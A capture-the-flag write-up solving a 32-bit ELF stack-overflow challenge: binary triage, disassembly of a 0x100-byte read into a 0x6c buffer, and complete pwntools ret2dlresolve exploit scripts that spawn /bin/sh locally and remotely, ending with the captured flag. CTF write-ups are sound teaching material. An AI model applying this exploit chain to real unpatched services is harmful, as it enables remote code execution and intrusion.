Flag: SCSC26{my_old_chall_pwn3rs_P4wNeRZ_cluB3z}
Description: nc 43.128.69.211 6661
The challenge gave a 32-bit ELF and a TCP service. Initial triage showed the binary was dynamically linked, not stripped, and had no embedded flag string.
file '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o' && stat -c '%s %F %y' '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o'/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=8b867e211e3c26fad2bd2a2f17a3113c78fe7015, for GNU/Linux 3.2.0, not stripped15644 regular file 2026-05-16 10:06:56.778386669 +0700strings '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o' | rg -i "flag|ctf|scsc|\{[^}]+\}|key|secret|password|BEGIN" --max-columns=200(no output)The hardening profile made a stack exploit practical: NX was on, but there was no stack canary and no PIE.
checksec --file='/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o' && readelf -h '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o'Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)Stripped: NoEntry point address: 0x8049090The symbol table had a small attack surface. The binary imported read and write, and exposed vuln and main.
nm -n '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o' | rg ' T | W | U 'U read@GLIBC_2.0U strlen@GLIBC_2.0U write@GLIBC_2.0080491a2 T vuln080491e8 T mainDisassembly showed the bug. vuln placed the input buffer at ebp-0x6c, then called read(0, buf, 0x100). Saved EIP sat 112 bytes after the buffer start.
objdump -d -Mintel '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o' --disassemble=main --disassemble=vuln080491a2 <vuln>: 80491a5: 53 push ebx 80491a6: 83 ec 74 sub esp,0x74 80491bf: 8d 55 94 lea edx,[ebp-0x6c] 80491cf: 68 00 01 00 00 push 0x100 80491d4: 8d 45 94 lea eax,[ebp-0x6c] 80491d8: 6a 00 push 0x0 80491da: e8 61 fe ff ff call 8049040 <read@plt> 80491e6: c9 leave 80491e7: c3 ret
080491e8 <main>: 80492ca: e8 a1 fd ff ff call 8049070 <write@plt> 80492d2: e8 cb fe ff ff call 80491a2 <vuln>There was no win function. A first ROP chain leaked write@got and returned to main; after the service recovered, the remote leak was 0xf7e92270. Rather than depend on matching the remote libc, the final exploit used ret2dlresolve: write fake dynamic linker records into writable memory with read, then ask the resolver to load system and call it with /bin/sh.
The same chain worked locally. It resolved system, ran /bin/sh, and executed a test command.
from pwn import *
context.binary = elf = ELF('/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o', checksec=False)offset = 112resolver = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])rop = ROP(elf)rop.read(0, resolver.data_addr, len(resolver.payload))rop.ret2dlresolve(resolver)payload = fit({offset: rop.chain()})p = process(elf.path)p.recvuntil(b'Good Luck\n')p.send(payload)p.send(resolver.payload)p.sendline(b'echo PWNED; id; exit')print(p.recvall(timeout=3))PWNEDuid=1000(light) gid=1000(light) ...The remote exploit kept the same chain and made the shell read /service/flag.txt.
from pwn import *
context.binary = elf = ELF('/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o', checksec=False)context.log_level = 'info'offset = 112resolver = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])rop = ROP(elf)rop.read(0, resolver.data_addr, len(resolver.payload))rop.ret2dlresolve(resolver)payload = fit({offset: rop.chain()})p = remote('43.128.69.211', 6661, timeout=8)p.recvuntil(b'Good Luck\n', timeout=8)p.send(payload)p.send(resolver.payload)p.sendline(b'cat /service/flag.txt; exit')out = p.recvall(timeout=8)print(out.decode('latin-1', errors='replace'))SCSC26{my_old_chall_pwn3rs_P4wNeRZ_cluB3z}